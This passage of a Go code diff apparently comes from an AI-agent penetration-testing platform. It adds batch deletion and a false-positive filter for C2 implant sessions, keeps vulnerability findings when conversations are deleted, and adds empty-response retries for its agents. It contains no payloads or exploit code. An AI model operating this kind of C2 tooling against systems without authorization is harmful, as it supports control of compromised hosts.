||||||
func validC2TextIDForDelete(id string) bool {
|
func validC2TextIDForDelete(id string) bool {
|
||||||
if len(id) < 2 || len(id) > 80 {
|
if len(id) < 2 || len(id) > 80 {
|
||||||
@@ -473,6 +476,7 @@ type ListC2SessionsFilter struct {
|
|||||||
Status string // active|sleeping|dead|killed;空表示全部
|
Status string // active|sleeping|dead|killed;空表示全部
|
||||||
OS string
|
OS string
|
||||||
Search string // 模糊匹配 hostname/username/internal_ip
|
Search string // 模糊匹配 hostname/username/internal_ip
|
||||||
|
Suspicious bool // 疑似误报:离线且 hostname 为 tcp_* / 用户名为 unknown / PID 为 0
|
||||||
Limit int // 0 表示无限制
|
Limit int // 0 表示无限制
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -497,6 +501,11 @@ func (db *DB) ListC2Sessions(filter ListC2SessionsFilter) ([]*C2Session, error)
|
|||||||
kw := "%" + filter.Search + "%"
|
kw := "%" + filter.Search + "%"
|
||||||
args = append(args, kw, kw, kw)
|
args = append(args, kw, kw, kw)
|
||||||
}
|
}
|
||||||
|
if filter.Suspicious {
|
||||||
|
conditions = append(conditions, `status = 'dead' AND (
|
||||||
|
hostname LIKE 'tcp_%' OR LOWER(COALESCE(username,'')) = 'unknown' OR COALESCE(pid, 0) = 0
|
||||||
|
)`)
|
||||||
|
}
|
||||||
query := `
|
query := `
|
||||||
SELECT id, listener_id, implant_uuid, COALESCE(hostname,''), COALESCE(username,''),
|
SELECT id, listener_id, implant_uuid, COALESCE(hostname,''), COALESCE(username,''),
|
||||||
COALESCE(os,''), COALESCE(arch,''), COALESCE(pid, 0), COALESCE(process_name,''),
|
COALESCE(os,''), COALESCE(arch,''), COALESCE(pid, 0), COALESCE(process_name,''),
|
||||||
@@ -554,6 +563,44 @@ func (db *DB) DeleteC2Session(id string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// DeleteC2SessionsByIDs 按主键批量删除会话
|
||||||
|
func (db *DB) DeleteC2SessionsByIDs(ids []string) (int64, error) {
|
||||||
|
if len(ids) == 0 {
|
||||||
|
return 0, nil
|
||||||
|
}
|
||||||
|
const maxBatch = 500
|
||||||
|
if len(ids) > maxBatch {
|
||||||
|
ids = ids[:maxBatch]
|
||||||
|
}
|
||||||
|
clean := make([]string, 0, len(ids))
|
||||||
|
seen := make(map[string]struct{}, len(ids))
|
||||||
|
for _, id := range ids {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if !validC2TextIDForDelete(id) {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if _, ok := seen[id]; ok {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[id] = struct{}{}
|
||||||
|
clean = append(clean, id)
|
||||||
|
}
|
||||||
|
if len(clean) == 0 {
|
||||||
|
return 0, ErrNoValidC2SessionIDs
|
||||||
|
}
|
||||||
|
placeholders := strings.Repeat("?,", len(clean)-1) + "?"
|
||||||
|
args := make([]interface{}, len(clean))
|
||||||
|
for i := range clean {
|
||||||
|
args[i] = clean[i]
|
||||||
|
}
|
||||||
|
query := `DELETE FROM c2_sessions WHERE id IN (` + placeholders + `)`
|
||||||
|
res, err := db.Exec(query, args...)
|
||||||
|
if err != nil {
|
||||||
|
return 0, err
|
||||||
|
}
|
||||||
|
return res.RowsAffected()
|
||||||
|
}
|
||||||
|
|
||||||
// ----------------------------------------------------------------------------
|
// ----------------------------------------------------------------------------
|
||||||
// CRUD:C2 任务
|
// CRUD:C2 任务
|
||||||
// ----------------------------------------------------------------------------
|
// ----------------------------------------------------------------------------
|
||||||
|
|||||||
@@ -543,18 +543,28 @@ func (db *DB) UpdateConversationTime(id string) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// DeleteConversation 删除对话及其所有相关数据
|
// DeleteConversation 删除对话及其会话相关数据。
|
||||||
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
|
// 由于数据库外键约束设置了 ON DELETE CASCADE,删除对话时会自动删除:
|
||||||
// - messages(消息)
|
// - messages(消息)
|
||||||
// - process_details(过程详情)
|
// - process_details(过程详情)
|
||||||
// - attack_chain_nodes(攻击链节点)
|
// - attack_chain_nodes(攻击链节点)
|
||||||
// - attack_chain_edges(攻击链边)
|
// - attack_chain_edges(攻击链边)
|
||||||
// - vulnerabilities(漏洞)
|
|
||||||
// - conversation_group_mappings(分组映射)
|
// - conversation_group_mappings(分组映射)
|
||||||
// 注意:knowledge_retrieval_logs 使用 ON DELETE SET NULL,记录会保留但 conversation_id 会被设为 NULL
|
// 漏洞记录会保留:vulnerabilities.conversation_id 使用 ON DELETE SET NULL,仅解除与会话的关联。
|
||||||
|
// 注意:knowledge_retrieval_logs 在删除前会被显式清理。
|
||||||
func (db *DB) DeleteConversation(id string) error {
|
func (db *DB) DeleteConversation(id string) error {
|
||||||
|
// 删除对话前补全漏洞来源标签,便于在漏洞库中追溯已删除会话的发现。
|
||||||
|
_, err := db.Exec(`
|
||||||
|
UPDATE vulnerabilities
|
||||||
|
SET conversation_tag = COALESCE(NULLIF(TRIM(conversation_tag), ''), (SELECT title FROM conversations WHERE id = ?))
|
||||||
|
WHERE conversation_id = ?
|
||||||
|
`, id, id)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("更新漏洞来源标签失败", zap.String("conversationId", id), zap.Error(err))
|
||||||
|
}
|
||||||
|
|
||||||
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
|
// 显式删除知识检索日志(虽然外键是SET NULL,但为了彻底清理,我们手动删除)
|
||||||
_, err := db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
_, err = db.Exec("DELETE FROM knowledge_retrieval_logs WHERE conversation_id = ?", id)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
|
db.logger.Warn("删除知识检索日志失败", zap.String("conversationId", id), zap.Error(err))
|
||||||
// 不返回错误,继续删除对话
|
// 不返回错误,继续删除对话
|
||||||
@@ -567,7 +577,7 @@ func (db *DB) DeleteConversation(id string) error {
|
|||||||
}
|
}
|
||||||
db.removeConversationScopedDirs(id)
|
db.removeConversationScopedDirs(id)
|
||||||
|
|
||||||
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
db.logger.Info("对话已删除(漏洞记录已保留)", zap.String("conversationId", id))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,69 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDeleteConversationPreservesVulnerabilities(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "vuln-preserve.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
conv, err := db.CreateConversation("vuln source chat", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
vuln, err := db.CreateVulnerability(&Vulnerability{
|
||||||
|
ConversationID: conv.ID,
|
||||||
|
Title: "SQL Injection",
|
||||||
|
Severity: "high",
|
||||||
|
Status: "open",
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateVulnerability: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.DeleteConversation(conv.ID); err != nil {
|
||||||
|
t.Fatalf("DeleteConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
got, err := db.GetVulnerability(vuln.ID)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("GetVulnerability after delete: %v", err)
|
||||||
|
}
|
||||||
|
if got.Title != "SQL Injection" {
|
||||||
|
t.Fatalf("title = %q, want SQL Injection", got.Title)
|
||||||
|
}
|
||||||
|
if got.ConversationID != "" {
|
||||||
|
t.Fatalf("conversation_id = %q, want empty after conversation delete", got.ConversationID)
|
||||||
|
}
|
||||||
|
if got.ConversationTag != "vuln source chat" {
|
||||||
|
t.Fatalf("conversation_tag = %q, want vuln source chat", got.ConversationTag)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMigrateVulnerabilitiesConversationFK(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "vuln-fk-migrate.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("vulnerabilitiesConversationFKOnDeleteSetNull: %v", err)
|
||||||
|
}
|
||||||
|
if !ok {
|
||||||
|
t.Fatal("expected vulnerabilities.conversation_id FK to use ON DELETE SET NULL")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -357,7 +357,7 @@ func (db *DB) initTables() error {
|
|||||||
createVulnerabilitiesTable := `
|
createVulnerabilitiesTable := `
|
||||||
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
CREATE TABLE IF NOT EXISTS vulnerabilities (
|
||||||
id TEXT PRIMARY KEY,
|
id TEXT PRIMARY KEY,
|
||||||
conversation_id TEXT NOT NULL,
|
conversation_id TEXT,
|
||||||
conversation_tag TEXT,
|
conversation_tag TEXT,
|
||||||
task_tag TEXT,
|
task_tag TEXT,
|
||||||
title TEXT NOT NULL,
|
title TEXT NOT NULL,
|
||||||
@@ -371,7 +371,8 @@ func (db *DB) initTables() error {
|
|||||||
recommendation TEXT,
|
recommendation TEXT,
|
||||||
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE CASCADE
|
project_id TEXT,
|
||||||
|
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||||
);`
|
);`
|
||||||
|
|
||||||
// 创建批量任务队列表
|
// 创建批量任务队列表
|
||||||
@@ -737,6 +738,9 @@ func (db *DB) initTables() error {
|
|||||||
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
db.logger.Warn("迁移vulnerabilities表失败", zap.Error(err))
|
||||||
// 不返回错误,允许继续运行
|
// 不返回错误,允许继续运行
|
||||||
}
|
}
|
||||||
|
if err := db.migrateVulnerabilitiesConversationFK(); err != nil {
|
||||||
|
db.logger.Warn("迁移vulnerabilities会话外键失败", zap.Error(err))
|
||||||
|
}
|
||||||
|
|
||||||
if err := db.migrateProjectsTable(); err != nil {
|
if err := db.migrateProjectsTable(); err != nil {
|
||||||
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
db.logger.Warn("迁移projects相关表失败", zap.Error(err))
|
||||||
@@ -1146,6 +1150,116 @@ func (db *DB) dropProjectFactVersionsTable() error {
|
|||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// migrateVulnerabilitiesConversationFK 将 vulnerabilities.conversation_id 外键改为 ON DELETE SET NULL,删除对话时保留漏洞记录。
|
||||||
|
func (db *DB) migrateVulnerabilitiesConversationFK() error {
|
||||||
|
ok, err := vulnerabilitiesConversationFKOnDeleteSetNull(db.DB)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if ok {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
tx, err := db.Begin()
|
||||||
|
if err != nil {
|
||||||
|
return fmt.Errorf("开启事务失败: %w", err)
|
||||||
|
}
|
||||||
|
defer func() { _ = tx.Rollback() }()
|
||||||
|
|
||||||
|
const createNew = `
|
||||||
|
CREATE TABLE vulnerabilities_new (
|
||||||
|
id TEXT PRIMARY KEY,
|
||||||
|
conversation_id TEXT,
|
||||||
|
conversation_tag TEXT,
|
||||||
|
task_tag TEXT,
|
||||||
|
title TEXT NOT NULL,
|
||||||
|
description TEXT,
|
||||||
|
severity TEXT NOT NULL,
|
||||||
|
status TEXT NOT NULL DEFAULT 'open',
|
||||||
|
vulnerability_type TEXT,
|
||||||
|
target TEXT,
|
||||||
|
proof TEXT,
|
||||||
|
impact TEXT,
|
||||||
|
recommendation TEXT,
|
||||||
|
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
|
||||||
|
project_id TEXT,
|
||||||
|
FOREIGN KEY (conversation_id) REFERENCES conversations(id) ON DELETE SET NULL
|
||||||
|
);`
|
||||||
|
if _, err := tx.Exec(createNew); err != nil {
|
||||||
|
return fmt.Errorf("创建 vulnerabilities_new 失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
const copyRows = `
|
||||||
|
INSERT INTO vulnerabilities_new (
|
||||||
|
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||||
|
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||||
|
created_at, updated_at, project_id
|
||||||
|
)
|
||||||
|
SELECT
|
||||||
|
id, conversation_id, conversation_tag, task_tag, title, description,
|
||||||
|
severity, status, vulnerability_type, target, proof, impact, recommendation,
|
||||||
|
created_at, updated_at, project_id
|
||||||
|
FROM vulnerabilities;`
|
||||||
|
if _, err := tx.Exec(copyRows); err != nil {
|
||||||
|
return fmt.Errorf("复制 vulnerabilities 数据失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec(`DROP TABLE vulnerabilities`); err != nil {
|
||||||
|
return fmt.Errorf("删除旧 vulnerabilities 表失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := tx.Exec(`ALTER TABLE vulnerabilities_new RENAME TO vulnerabilities`); err != nil {
|
||||||
|
return fmt.Errorf("重命名 vulnerabilities 表失败: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
indexes := []string{
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_id ON vulnerabilities(conversation_id)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_conversation_tag ON vulnerabilities(conversation_tag)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_task_tag ON vulnerabilities(task_tag)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_severity ON vulnerabilities(severity)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_status ON vulnerabilities(status)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_created_at ON vulnerabilities(created_at)`,
|
||||||
|
`CREATE INDEX IF NOT EXISTS idx_vulnerabilities_project_id ON vulnerabilities(project_id)`,
|
||||||
|
}
|
||||||
|
for _, stmt := range indexes {
|
||||||
|
if _, err := tx.Exec(stmt); err != nil {
|
||||||
|
return fmt.Errorf("重建 vulnerabilities 索引失败: %w", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := tx.Commit(); err != nil {
|
||||||
|
return fmt.Errorf("提交 vulnerabilities 外键迁移失败: %w", err)
|
||||||
|
}
|
||||||
|
db.logger.Info("vulnerabilities 表已迁移:删除对话时保留漏洞记录")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func vulnerabilitiesConversationFKOnDeleteSetNull(db *sql.DB) (bool, error) {
|
||||||
|
rows, err := db.Query(`PRAGMA foreign_key_list(vulnerabilities)`)
|
||||||
|
if err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
found := false
|
||||||
|
for rows.Next() {
|
||||||
|
var id, seq int
|
||||||
|
var table, from, to, onUpdate, onDelete, match string
|
||||||
|
if err := rows.Scan(&id, &seq, &table, &from, &to, &onUpdate, &onDelete, &match); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
if from == "conversation_id" {
|
||||||
|
found = true
|
||||||
|
if !strings.EqualFold(onDelete, "SET NULL") {
|
||||||
|
return false, nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err := rows.Err(); err != nil {
|
||||||
|
return false, err
|
||||||
|
}
|
||||||
|
return found, nil
|
||||||
|
}
|
||||||
|
|
||||||
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
// migrateVulnerabilitiesTable 迁移 vulnerabilities 表,补充标签字段
|
||||||
func (db *DB) migrateVulnerabilitiesTable() error {
|
func (db *DB) migrateVulnerabilitiesTable() error {
|
||||||
columns := []struct {
|
columns := []struct {
|
||||||
|
|||||||
@@ -72,6 +72,23 @@ func (db *DB) SaveToolExecution(exec *mcp.ToolExecution) error {
|
|||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// UpdateToolExecutionResult 仅更新结果字段(用于 reduction 后将监控展示与模型上下文对齐)。
|
||||||
|
func (db *DB) UpdateToolExecutionResult(id string, result *mcp.ToolResult) error {
|
||||||
|
id = strings.TrimSpace(id)
|
||||||
|
if id == "" || result == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
resultBytes, err := json.Marshal(result)
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
_, err = db.Exec(`UPDATE tool_executions SET result = ? WHERE id = ?`, string(resultBytes), id)
|
||||||
|
if err != nil {
|
||||||
|
db.logger.Warn("更新工具执行结果失败", zap.Error(err), zap.String("executionId", id))
|
||||||
|
}
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
// CountToolExecutions 统计工具执行记录总数
|
// CountToolExecutions 统计工具执行记录总数
|
||||||
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
|
func (db *DB) CountToolExecutions(status, toolName string) (int, error) {
|
||||||
query := `SELECT COUNT(*) FROM tool_executions`
|
query := `SELECT COUNT(*) FROM tool_executions`
|
||||||
|
|||||||
@@ -0,0 +1,33 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"errors"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
// formatSQLiteUTC stores instants as UTC RFC3339 for consistent SQLite reads/writes.
|
||||||
|
func formatSQLiteUTC(t time.Time) string {
|
||||||
|
return t.UTC().Format(time.RFC3339Nano)
|
||||||
|
}
|
||||||
|
|
||||||
|
// sqliteEpochGE returns SQL comparing column to param as Unix seconds (timezone-safe).
|
||||||
|
func sqliteEpochGE(column, op string) string {
|
||||||
|
return "strftime('%s', " + column + ") " + op + " strftime('%s', ?)"
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseRFC3339Time parses API/query timestamps (RFC3339 or RFC3339Nano).
|
||||||
|
func ParseRFC3339Time(value string) (time.Time, error) {
|
||||||
|
value = strings.TrimSpace(value)
|
||||||
|
if value == "" {
|
||||||
|
return time.Time{}, errors.New("empty time value")
|
||||||
|
}
|
||||||
|
if t, err := time.Parse(time.RFC3339Nano, value); err == nil {
|
||||||
|
return t.UTC(), nil
|
||||||
|
}
|
||||||
|
t, err := time.Parse(time.RFC3339, value)
|
||||||
|
if err != nil {
|
||||||
|
return time.Time{}, err
|
||||||
|
}
|
||||||
|
return t.UTC(), nil
|
||||||
|
}
|
||||||
@@ -98,7 +98,7 @@ type Vulnerability struct {
|
|||||||
Title string `json:"title"`
|
Title string `json:"title"`
|
||||||
Description string `json:"description"`
|
Description string `json:"description"`
|
||||||
Severity string `json:"severity"` // critical, high, medium, low, info
|
Severity string `json:"severity"` // critical, high, medium, low, info
|
||||||
Status string `json:"status"` // open, confirmed, fixed, false_positive
|
Status string `json:"status"` // open, confirmed, fixed, false_positive, ignored
|
||||||
Type string `json:"type"`
|
Type string `json:"type"`
|
||||||
Target string `json:"target"`
|
Target string `json:"target"`
|
||||||
Proof string `json:"proof"`
|
Proof string `json:"proof"`
|
||||||
@@ -138,7 +138,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
|||||||
|
|
||||||
_, err := db.Exec(
|
_, err := db.Exec(
|
||||||
query,
|
query,
|
||||||
vuln.ID, vuln.ConversationID, nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
vuln.ID, nullIfEmpty(vuln.ConversationID), nullIfEmpty(vuln.ProjectID), vuln.ConversationTag, vuln.TaskTag, vuln.Title, vuln.Description,
|
||||||
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
vuln.Severity, vuln.Status, vuln.Type, vuln.Target,
|
||||||
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
vuln.Proof, vuln.Impact, vuln.Recommendation,
|
||||||
vuln.CreatedAt, vuln.UpdatedAt,
|
vuln.CreatedAt, vuln.UpdatedAt,
|
||||||
@@ -154,7 +154,7 @@ func (db *DB) CreateVulnerability(vuln *Vulnerability) (*Vulnerability, error) {
|
|||||||
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
||||||
var vuln Vulnerability
|
var vuln Vulnerability
|
||||||
query := `
|
query := `
|
||||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status,
|
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status,
|
||||||
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
conversation_tag, task_tag, vulnerability_type, target, proof, impact, recommendation,
|
||||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||||
@@ -183,7 +183,7 @@ func (db *DB) GetVulnerability(id string) (*Vulnerability, error) {
|
|||||||
// ListVulnerabilities 列出漏洞
|
// ListVulnerabilities 列出漏洞
|
||||||
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
func (db *DB) ListVulnerabilities(limit, offset int, filter VulnerabilityListFilter) ([]*Vulnerability, error) {
|
||||||
query := `
|
query := `
|
||||||
SELECT id, conversation_id, COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
SELECT id, COALESCE(conversation_id,''), COALESCE(project_id,''), title, description, severity, status, conversation_tag, task_tag,
|
||||||
vulnerability_type, target, proof, impact, recommendation,
|
vulnerability_type, target, proof, impact, recommendation,
|
||||||
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
COALESCE((SELECT bt.id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_id,
|
||||||
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
COALESCE((SELECT bt.queue_id FROM batch_tasks bt WHERE bt.conversation_id = vulnerabilities.conversation_id LIMIT 1), '') AS task_queue_id,
|
||||||
@@ -403,7 +403,7 @@ func (db *DB) GetVulnerabilityFilterOptions() (map[string][]string, error) {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
return nil, fmt.Errorf("查询漏洞ID建议失败: %w", err)
|
||||||
}
|
}
|
||||||
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
conversationIDs, err := collect(`SELECT DISTINCT conversation_id FROM vulnerabilities WHERE conversation_id IS NOT NULL AND conversation_id <> '' ORDER BY created_at DESC LIMIT 500`)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
return nil, fmt.Errorf("查询会话ID建议失败: %w", err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -16,7 +16,8 @@ import (
|
|||||||
)
|
)
|
||||||
|
|
||||||
// ExecutionRecorder 可选,在 MCP 工具成功返回且带有 execution id 时回调(用于汇总 mcpExecutionIds)。
|
// ExecutionRecorder 可选,在 MCP 工具成功返回且带有 execution id 时回调(用于汇总 mcpExecutionIds)。
|
||||||
type ExecutionRecorder func(executionID string)
|
// toolCallID 来自 Eino compose.GetToolCallID,用于与 reduction 后的展示结果关联。
|
||||||
|
type ExecutionRecorder func(executionID, toolCallID string)
|
||||||
|
|
||||||
// ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
|
// ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
|
||||||
// Eino 工具通道目前只支持返回字符串,因此通过前缀标识,随后在多代理 runner 中解析为 success/isError。
|
// Eino 工具通道目前只支持返回字符串,因此通过前缀标识,随后在多代理 runner 中解析为 success/isError。
|
||||||
@@ -178,7 +179,7 @@ func runMCPToolInvocation(
|
|||||||
return "", nil
|
return "", nil
|
||||||
}
|
}
|
||||||
if res.ExecutionID != "" && record != nil {
|
if res.ExecutionID != "" && record != nil {
|
||||||
record(res.ExecutionID)
|
record(res.ExecutionID, compose.GetToolCallID(ctx))
|
||||||
}
|
}
|
||||||
if res.IsError {
|
if res.IsError {
|
||||||
return ToolErrorPrefix + res.Result, nil
|
return ToolErrorPrefix + res.Result, nil
|
||||||
|
|||||||
@@ -2,8 +2,8 @@ package einomcp
|
|||||||
|
|
||||||
import "sync"
|
import "sync"
|
||||||
|
|
||||||
// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调;MCP 桥在每次 InvokableRun 结束时 Fire,
|
// ToolInvokeNotifyHolder 由 Eino run loop 在迭代开始前 Set 回调;MCP/execute 桥在工具调用结束时 Fire,
|
||||||
// 用于在 ADK 未透出 schema.Tool 事件时仍推送 tool_result、清 pending,避免 UI 卡在「执行中」或迭代末 force-close。
|
// 用于清除 pending tool_call(tool_result 由 ADK schema.Tool 事件推送,含流式工具与 reduction 后正文)。
|
||||||
type ToolInvokeNotifyHolder struct {
|
type ToolInvokeNotifyHolder struct {
|
||||||
mu sync.RWMutex
|
mu sync.RWMutex
|
||||||
fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)
|
fn func(toolCallID, toolName, einoAgent string, success bool, content string, invokeErr error)
|
||||||
|
|||||||
@@ -637,13 +637,26 @@ func (h *AgentHandler) runRobotEinoSingleWithRetry(
|
|||||||
var resultMA *multiagent.RunResult
|
var resultMA *multiagent.RunResult
|
||||||
var errMA error
|
var errMA error
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
for {
|
for {
|
||||||
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
|
resultMA, errMA = multiagent.RunEinoSingleChatModelAgent(
|
||||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||||
conversationID, curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
|
conversationID, h.conversationProjectID(conversationID), curMsg, curHist, roleTools, progressCallback, nil, h.projectBlackboardBlock(conversationID),
|
||||||
)
|
)
|
||||||
|
handledEmpty, exhaustedEmpty := h.handleEinoEmptyResponseContinue(
|
||||||
|
taskCtx, conversationID, resultMA, errMA, &emptyResponseAttempts,
|
||||||
|
&curHist, &curMsg, segmentUserMessage, progressCallback, nil,
|
||||||
|
)
|
||||||
|
if exhaustedEmpty {
|
||||||
|
errMA = nil
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if handledEmpty {
|
||||||
|
continue
|
||||||
|
}
|
||||||
if errMA == nil {
|
if errMA == nil {
|
||||||
transientRunAttempts = 0
|
transientRunAttempts = 0
|
||||||
|
emptyResponseAttempts = 0
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
if handled, _ := h.handleEinoTransientRetryContinue(
|
if handled, _ := h.handleEinoTransientRetryContinue(
|
||||||
@@ -673,14 +686,27 @@ func (h *AgentHandler) runRobotMultiAgentWithRetry(
|
|||||||
var resultMA *multiagent.RunResult
|
var resultMA *multiagent.RunResult
|
||||||
var errMA error
|
var errMA error
|
||||||
var transientRunAttempts int
|
var transientRunAttempts int
|
||||||
|
var emptyResponseAttempts int
|
||||||
for {
|
for {
|
||||||
resultMA, errMA = multiagent.RunDeepAgent(
|
resultMA, errMA = multiagent.RunDeepAgent(
|
||||||
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
taskCtx, h.config, &h.config.MultiAgent, h.agent, h.logger,
|
||||||
conversationID, curMsg, curHist, roleTools, progressCallback,
|
